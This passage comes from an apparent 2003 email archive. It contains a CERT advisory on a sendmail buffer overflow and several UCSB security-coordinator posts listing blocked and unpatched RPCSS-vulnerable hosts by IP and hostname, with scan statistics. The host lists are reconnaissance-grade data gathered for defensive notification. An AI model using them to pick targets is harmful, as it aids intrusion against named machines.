Patched, KB824146 Vulnerable] 128.111.78.21 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.78.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.20 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.196 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 58 RPCSS Vulnerable ............................. 157 DCOM Disabled ................................ 76 Not Vulnerable ............................... 1588 Errors ....................................... 5 TCP Port 135 Closed or Host Timeout .......... 63710 TOTAL HOSTS SCANNED .......................... 65536 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 18 Sep 2003 10:39:13 -0400",CERT Advisory CA-2003-25 Buffer Overflow in Sendmail ,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-25 Buffer Overflow in Sendmail Original issue date: September 18, 2003 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running open-source sendmail versions prior to 8.12.10, including UNIX and Linux systems * Commercial releases of sendmail including Sendmail Switch, Sendmail Advanced Message Server (SAMS), and Sendmail for NT Overview A vulnerability in sendmail could allow a remote attacker to execute arbitrary code with the privileges of the sendmail daemon, typically root. I. Description Sendmail is a widely deployed mail transfer agent (MTA). Many UNIX and Linux systems provide a sendmail implementation that is enabled and running by default. Sendmail contains a vulnerability in its address parsing code. An error in the prescan() function could allow an attacker to write past the end of a buffer, corrupting memory structures. Depending on platform and operating system architecture, the attacker may be able to execute arbitrary code with a specially crafted email message. This vulnerability is different than the one described in CA-2003-12. The email attack vector is message-oriented as opposed to connection-oriented. This means that the vulnerability is triggered by the contents of a specially crafted email message rather than by lower-level network traffic. This is important because an MTA that does not contain the vulnerability may pass the malicious message along to other MTAs that may be protected at the network level. In other words, vulnerable sendmail servers on the interior of a network are still at risk, even if the site's border MTA uses software other than sendmail. Also, messages capable of exploiting this vulnerability may pass undetected through packet filters or firewalls. Further information is available in VU#784980. Common Vulnerabilities and Exposures (CVE) refers to this issue as CAN-2003-0694. II. Impact Depending on platform and operating system architecture, a remote attacker could execute arbitrary code with the privileges of the sendmail daemon. Unless the RunAsUser option is set, Sendmail typically runs as root. III. Solution Upgrade or apply a patch This vulnerability is resolved in Sendmail 8.12.10. Sendmail has also released a patch that can be applied to Sendmail 8.9.x through 8.12.9. Information about specific vendors is available in Appendix A. and in the Systems Affected section of VU#784980. Sendmail 8.12.10 is designed to correct malformed messages that are transferred by the server. This should help protect other vulnerable sendmail servers. Enable the RunAsUser option While there is no known complete workaround, consider setting the RunAsUser option to reduce the impact of this vulnerability. It is typically considered to be a good security practice to limit the privileges of applications and services whenever possible. Appendix A. Vendor Information This appendix contains information provided by vendors. When vendors report new information, this section is updated, and the changes are noted in the revision history. If a vendor is not listed below, we have not received their direct statement. Further vendor information is available in the Systems Affected section of VU#784980. Debian The sendmail and sendmail-wide packages are vulnerable to this issue. Updated packages are being prepared and will be available soon. F5 Networks BIG-IP and 3-DNS products are not vulnerable. IBM The AIX Security Team is aware of the issues discussed in CERT Vulnerability Note VU#784980. The following APARs will be released to address this issue: APAR number for AIX 4.3.3: IY48659 (available approx. 10/03/03) APAR number for AIX 5.1.0: IY48658 (available approx. 10/15/03) APAR number for AIX 5.2.0: IY48657 (available approx. 10/29/03) An e-fix will be available shortly. The e-fix will be available from: ftp://ftp.software.ibm.com/aix/efixes/security/sendmail_4_efix.tar.Z This vendor statement will be updated when the e-fix becomes available. Lotus This is a sendmail-specific issue that does not affect any Lotus products. Network Appliance NetApp products are not vulnerable to this problem. NetBSD NetBSD-current ships with sendmail 8.12.9 since June 1, 2003. The patch was applied on September 17, 2003. In the near future we would upgrade to sendmail 8.12.10. Our official releases, such as NetBSD 1.6.1, are also affected (they ship with older version of sendmail). They will be patched as soon as possible. We would issue NetBSD Security Advisory on this matter. Openwall GNU/*/Linux Openwall GNU/*/Linux is not vulnerable. We ship Postfix, not Sendmail. Red Hat Red Hat Linux and Red Hat Enterprise Linux ship with a Sendmail package vulnerable to these issues. Updated Sendmail packages are available along with our advisory at the URLs below. Users of the Red Hat Network can update their systems using the 'up2date' tool. Red Hat Linux: http://rhn.redhat.com/errata/RHSA-2003-283.html Red Hat Enterprise Linux: http://rhn.redhat.com/errata/RHSA-2003-284.html The Sendmail Consortium The Sendmail Consortium recommends that sites upgrade to 8.12.10 whenever possible. Alternatively, patches are available for 8.9, 8.10, 8.11, and 8.12 on http://www.sendmail.org/. Sendmail Inc. All commercial releases including Sendmail Switch, Sendmail Advanced Message Server (which includes the Sendmail Switch MTA), Sendmail for NT, and Sendmail Pro are affected by this issue. Patch information is available at http://www.sendmail.com/security/. Sun Sun acknowledges that our recent release of sendmail 8.12.10 is affected by this issue on Solaris releases S7, S8 and S9. A Sun Alert for this issue will be isuued very soon which will then be available from: http://sunsolve.Sun.COM/pub-cgi/retrieve.pl?doc=fsalert/56860 There are no patches available at this time. The Sun Alert will be updated with the patch information as it becomes available. Please refer to the Sun Alert when available, for more information. SuSE SuSE products shipping sendmail are affected. Update packages that fix the vulnerability are being prepared and will be published shortly. Appendix B. References * CERT/CC Vulnerability Note VU#784980 - * Michal Zalewski's post to BugTraq - * Sendmail 8.12.10 - * Sendmail patch for 8.12.9 - * Sendmail 8.12.10 announcement - * Sendmail Secure Install - _________________________________________________________________ This vulnerability was discovered by Michal Zalewski. Thanks to Claus Assmann and Eric Allman of Sendmail for their help in preparing this document. _________________________________________________________________ Feedback can be directed to the author, Art Manion. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2003-25.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. Revision History September 18, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBP2nC8jpmH2w9K/0VAQFKwwP/Vagji3+avI6eb/5C++JCjjmL0Y+JrFmD 6DWgYsOVASDUO4bUyHYiAl2BM8s3owsprTRuKFl3WOf18h++qtTOOO1oeRt+bhqP 1q6ImxjAem7kM2f5e3xdArowptIlqMXFakQ2N3gHqyfXEcmgESrFcGNS8oCV20Y4 rriFRV/lvDU= =/mMy -----END PGP SIGNATURE-----",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA08056 for ; Fri, 19 Sep 2003 09:59:48 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA29855 for ; Fri, 19 Sep 2003 09:59:48 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A0Obk-0000aA-Fr; Fri, 19 Sep 2003 09:59:48 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A0Obh-0000Zz-Vy; Fri, 19 Sep 2003 09:59:46 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A0Obh-0000Zo-R1; Fri, 19 Sep 2003 09:59:45 -0700 Date: Fri, 19 Sep 2003 09:59:43 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <13150000.1063990783@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A0Obk-0000aA-Fr*I4R88weO9AE* Good Morning. Below you will find the latest list of filtered IP addresses, as well as those addresses that are still vulnerable. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of blocked hosts: *** Filtered Hosts *** 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.110.147 simon.bren.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.247.62 128.111.247.63 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.43.224 atlas.cs.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.210 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu *** Unpatched hosts *** 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.47 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.11 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.148.185 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.161.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.174 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.180 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.120 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.29 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.90 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.219.90 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.221.42 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.191 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.236.116 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.112 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.253.134 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.125 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.210 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.197 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.40.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.54.9 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.185 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.44 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.58.121 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.234 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.21 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.78.60 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.20 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.82.196 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.87.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.9.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.92.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 55 RPCSS Vulnerable ............................. 109 RPCSS Vulnerable and Infected ................ 0 DCOM Disabled ................................ 80 Not Vulnerable ............................... 1919 Errors ....................................... 11 TCP Port 135 Closed or Host Timeout .......... 63417 TOTAL HOSTS SCANNED .......................... 65536 _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id NAA11940 for ; Fri, 19 Sep 2003 13:20:46 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id NAA31762 for ; Fri, 19 Sep 2003 13:20:46 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A0RkD-0003gk-P7; Fri, 19 Sep 2003 13:20:45 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A0RkB-0003gf-E0 for csf@ucsb.edu; Fri, 19 Sep 2003 13:20:43 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A0RkB-0003gb-8e for csf@ucsb.edu; Fri, 19 Sep 2003 13:20:43 -0700 Date: Fri, 19 Sep 2003 13:20:42 -0700 From: E. Todd Atkins To: csf@ucsb.edu Message-ID: <86520000.1064002842@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A0RkD-0003gk-P7*lUbdReiIwFk* Hello, Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of the 54 blocked hosts: 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.247.62 128.111.247.63 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.43.224 atlas.cs.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id PAA12027 for ; Fri, 19 Sep 2003 15:59:49 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA00633 for ; Fri, 19 Sep 2003 15:59:49 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A0UE9-0005AU-8u; Fri, 19 Sep 2003 15:59:49 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A0UE5-0005AJ-NY; Fri, 19 Sep 2003 15:59:45 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A0UE5-0005AF-IR; Fri, 19 Sep 2003 15:59:45 -0700 Date: Fri, 19 Sep 2003 15:59:45 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <154880000.1064012385@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A0UE9-0005AU-8u*g9kXKXdCQpc* Hello, Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC 